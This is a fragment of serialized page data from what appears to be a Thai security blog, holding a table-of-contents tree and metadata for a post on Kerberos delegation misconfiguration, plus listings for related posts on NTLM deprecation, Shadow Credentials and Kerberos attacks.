hate)",{"title":438,"searchDepth":933,"depth":933,"links":934},2,[935,936,937,941,946,951,952,958,965,966],{"id":14,"depth":933,"text":15},{"id":31,"depth":933,"text":32},{"id":96,"depth":933,"text":97,"children":938},[939],{"id":139,"depth":940,"text":140},3,{"id":163,"depth":933,"text":164,"children":942},[943,944,945],{"id":167,"depth":940,"text":168},{"id":187,"depth":940,"text":188},{"id":199,"depth":940,"text":200},{"id":213,"depth":933,"text":214,"children":947},[948,949,950],{"id":217,"depth":940,"text":218},{"id":246,"depth":940,"text":247},{"id":272,"depth":940,"text":273},{"id":353,"depth":933,"text":354},{"id":398,"depth":933,"text":399,"children":953},[954,956,957],{"id":402,"depth":940,"text":955},"Machines\u002FHosts",{"id":416,"depth":940,"text":417},{"id":627,"depth":940,"text":628},{"id":801,"depth":933,"text":802,"children":959},[960,961,962,963,964],{"id":805,"depth":940,"text":806},{"id":822,"depth":940,"text":823},{"id":831,"depth":940,"text":832},{"id":853,"depth":940,"text":854},{"id":868,"depth":940,"text":869},{"id":879,"depth":933,"text":880},{"id":886,"depth":933,"text":887},"2026-08-10","Kerberos Delegation ถูกสร้างมาเพื่อรองรับ multi-tier application แต่ trust relationship ที่ให้สิทธิ์สูงของมันก็เปิดช่องให้ attacker ปลอมเป็นผู้ใช้และทำ lateral movement ได้ถ้าตั้งค่าผิด",false,"md",null,"\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260803-161404.426Z-1207.png","th","ker-delg-pt1",{},true,"\u002Fblogs\u002F2026-08-10-ker-delg-pt1",{"title":6,"description":968},"blogs\u002F2026-08-10-ker-delg-pt1",[981,982,983,984,985],"pentest","red-teaming","active-directory","kerberos","windows-security","ARTICLES","9nWjPKvlIQA9Fkarzlm-nu8-_P1-SKZssfl2dOYD9wA",[989,998,1006],{"id":990,"link":991,"title":992,"description":993,"image":994,"date":995,"type":986,"author":996,"tags":997},"content\u002Fblogs\u002F2025-07-23-microsoft-officially-deprecates-ntlm-authentication-protocol-in-windows.md","microsoft-officially-deprecates-ntlm-authentication-protocol-in-windows","NTLM Authentication กำลังจะกลายเป็นอดีตจริงหรือ ?","Microsoft ออกมาประกาศว่า NTLM จะถูก deprecated อย่างเป็นทางการใน Windows 11 24H2 และ Windows Server 2025","\u002Fimages\u002Fblogs\u002F2025-07-23-microsoft-officially-deprecates-ntlm-authentication-protocol-in-windows\u002Fimages-416a6d4f-ce6a-4320-b51a-d5cc4e3b18d9.jpg","2025-07-23","Athittaya Saeloh",[985,983,984,981,982],{"id":999,"link":1000,"title":1001,"description":1002,"image":1003,"date":1004,"type":986,"author":7,"tags":1005},"content\u002Fblogs\u002F2025-06-25-shadows-credential-in-active-directory.md","shadows-credential-in-active-directory","Shadow Credentials in Active Directory: A Silent Threat","Shadow Credentials ทำให้ผู้โจมตียึดสิทธิ์ของเครื่องหรือ user บน Active Directory ได้โดยไม่ต้องรู้รหัสผ่าน บทความอธิบายว่ากลไกนี้อาศัยอะไรและทำงานอย่างไร","\u002Fimages\u002Fblogs\u002F2025-06-25-shadows-credential-in-active-directory\u002Fimages-a82354e1-6720-4092-bad1-424aaf26a198.jpg","2025-06-25",[983,985,984,981],{"id":1007,"link":1008,"title":1009,"description":1010,"image":1011,"date":1012,"type":986,"author":1013,"tags":1014},"content\u002Fblogs\u002F2021-08-27-attacking-kerberos-in-windows-domain-environment.md","attacking-kerberos-in-windows-domain-environment","Attacking Kerberos in Windows Domain Environment","รวมเทคนิคโจมตี Kerberos ใน Windows Domain สำหรับนักทดสอบเจาะระบบ เน้นที่มาที่ไปและวิธีการโจมตี มากกว่าฝั่ง detection และ prevention","\u002Fimages\u002Fblogs\u002F2021-08-27-attacking-kerberos-in-windows-domain-environment\u002Ffull.png","2021-08-27","Incognito Lab",[984,983,985,981],[1016],{"id":1007,"link":1008,"title":1009,"description":1010,"image":1011,"date":1012,"type":986,"author":1013,"tags":1017},[984,983,985,981],1791794321292]